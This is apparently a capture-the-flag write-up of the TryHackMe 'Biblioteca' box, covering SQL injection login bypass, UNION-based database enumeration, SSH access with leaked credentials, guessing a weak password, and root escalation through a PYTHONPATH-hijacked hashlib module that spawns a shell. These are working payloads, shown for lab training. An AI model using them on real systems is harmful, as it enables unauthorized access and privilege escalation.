THM: Biblioteca is a medium difficulty Linux box that starts with a classic SQL injection vulnerability. We’ll use several UNION attacks to enumerate the database and eventually leak some user credentials. We’ll use those to SSH in to the box and pivot to another user account by simply guessing a weak password. Finally, we’ll escalate to a root shell by hijacking the PYTHONPATH environment variable when running a python script via sudo.


└─$ sudo rustscan -a -- -sV -oA nmap1                                                        130 ⨯

22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    syn-ack ttl 61 Werkzeug httpd 2.0.2 (Python 3.8.10)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The only service we can see besides SSH is a Werkzeug HTTP server on port 8000 which means we’re going to be dealing with a python webapp.

Checking it out in a browser we see a basic login page, and an option to sign up for an account.

SQL Injection

With a simple admin' OR 1=1 # SQLi payload as the username we are able to bypass authentication.

There isn’t much of anything to see on the page besides a welcome message for “smokey”:

SQLi Authentication Bypass

That name smokey is likely coming from the same database query that runs during the authentication process, so we can try leaking data with a UNION SQLi attack.

First we need to figure out how many columns the query is selecting so we can match that with our union.

This requires iterating through a series of tests, each one selecting an additional null value until the query no longer breaks.

Our starting payload (URL encoded) will be admin'+UNION+SELECT+null--+.

SQLi attempt to find the number of columns for a successful UNION attack

It causes an error on the server because we have not balanced the number of columns being selected in our union with the rest of the query.

On our 4th attempt we get a successful response, so now we’ve confirmed 4 columns are required.

UNION attack POC

Notice the page says “Hi None!!” now. The “None” is from one of our null values, so now we can iterate through each null and replace it with a string to see which column we can use for leaking data.

With admin'+UNION+SELECT+null,'6rian',null,null--+ we see “Hi 6rian!!” in the response.

Now the fun part!

If we select database() in the second column we’ll discover what database we’re currently in which is: website.

We can query information_schema.tables to see what tables are in our database. The INFORMATION_SCHEMA is a special database that is present in every MySQL database, and it contains all kinds of information about the MySQL instance itself, including what schemas and tables are available.


This tells us the only table in the website schema is users.

Next we can query information_schema.columns to get a list of columns in the users table.


And we get “Hi email,id,password,username!!” in the response. We now have the information we need to be able to leak all user data.

First let’s get a list of usernames.


And it looks like “smokey” is the only user account. What’s their password?


Leaking user data via UNION attack

User Flag

Now that we have found some creds, let’s see if we can use them to get a shell.

└─$ ssh smokey@      
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:pav/Y8tQ2pgyKvZZspHIQ9oKqEVya+Cmvr8iztfpjxg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
smokey@'s password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sat 13 Aug 2022 12:54:17 PM UTC

  System load:  0.09              Processes:             114
  Usage of /:   61.3% of 9.78GB   Users logged in:       0
  Memory usage: 60%               IPv4 address for eth0:
  Swap usage:   0%

8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Dec  7 03:21:42 2021 from

smokey@biblioteca:~$ id; uname -a;
uid=1000(smokey) gid=1000(smokey) groups=1000(smokey)
Linux biblioteca 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

And we’re in!

There’s no flag in smokey’s home directory so let’s see what other users are on the box.

smokey@biblioteca:~$ cat /etc/passwd | grep sh$

Checking hazel’s home directory we’ll find the user flag but are unable to read it. sudo -l shows smokey has no sudo privileges either.

After lots of additional enumeration I wasn’t finding a path to get a shell as hazel, so I looked at the hint which simply said: “Weak password”. I wasn’t sure what to make of that at first, but decided to try su hazel and use the username as the password, and it worked..

smokey@biblioteca:/tmp$ su hazel
hazel@biblioteca:/tmp$ cd
hazel@biblioteca:~$ wc -c user.txt 
45 user.txt

Privilege Escalation

Besides the user flag there is a script in hazel’s home directory which is owned by root, but we have read permission.

import hashlib

def hashing(passw):

    md5 = hashlib.md5(passw.encode())

    print("Your MD5 hash is: ", end ="")

    sha256 = hashlib.sha256(passw.encode())

    print("Your SHA256 hash is: ", end ="")

    sha1 = hashlib.sha1(passw.encode())

    print("Your SHA1 hash is: ", end ="")

def main():
    passw = input("Enter a password to hash: ")

if __name__ == "__main__":

Hazel has permission to run this script as root.

hazel@biblioteca:~$ sudo -l
Matching Defaults entries for hazel on biblioteca:
    env_reset, mail_badpass,

User hazel may run the following commands on biblioteca:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /home/hazel/

What’s also interesting here is the SETENV: declaration. It allows us to set environment variables while executing the command as root.

With this privilege, we can hijack the PYTHONPATH environment variable to load our own malicious version of the hashlib library that the script is importing.

Let’s create our hijack module at /dev/shm/ with the following code:

import os

def md5(s):
	os.system('/bin/bash -p')
	return s

md5() is the first function from the real hashlib the hasher script is calling so by defining our own function by the same name we are able to control what code gets executed.

We’ll set PYTHONPATH=/dev/shm when running the sudo command so python will look in the /dev/shm directory when trying to load libraries. When it finds our malicious hashlib library it will load that, and then when the hashlib.md5() function is executed, we’ll have a root shell!

hazel@biblioteca:/dev/shm$ sudo PYTHONPATH=/dev/shm /usr/bin/python3 /home/hazel/
Enter a password to hash: asdf

root@biblioteca:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)

root@biblioteca:/dev/shm# cd /root && ls -la
total 32
drwx------  5 root root 4096 Mar  2 03:02 .
drwxr-xr-x 19 root root 4096 Dec  7  2021 ..
lrwxrwxrwx  1 root root    9 Dec  7  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwx------  3 root root 4096 Dec  7  2021 .cache
lrwxrwxrwx  1 root root    9 Dec  7  2021 .mysql_history -> /dev/null
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-r-----  1 root root   31 Mar  2 03:01 root.txt
drwxr-xr-x  3 root root 4096 Dec  7  2021 snap
drwx------  2 root root 4096 Dec  7  2021 .ssh
-rw-------  1 root root    0 Mar  2 03:02 .viminfo

root@biblioteca:~# wc -c root.txt 
31 root.txt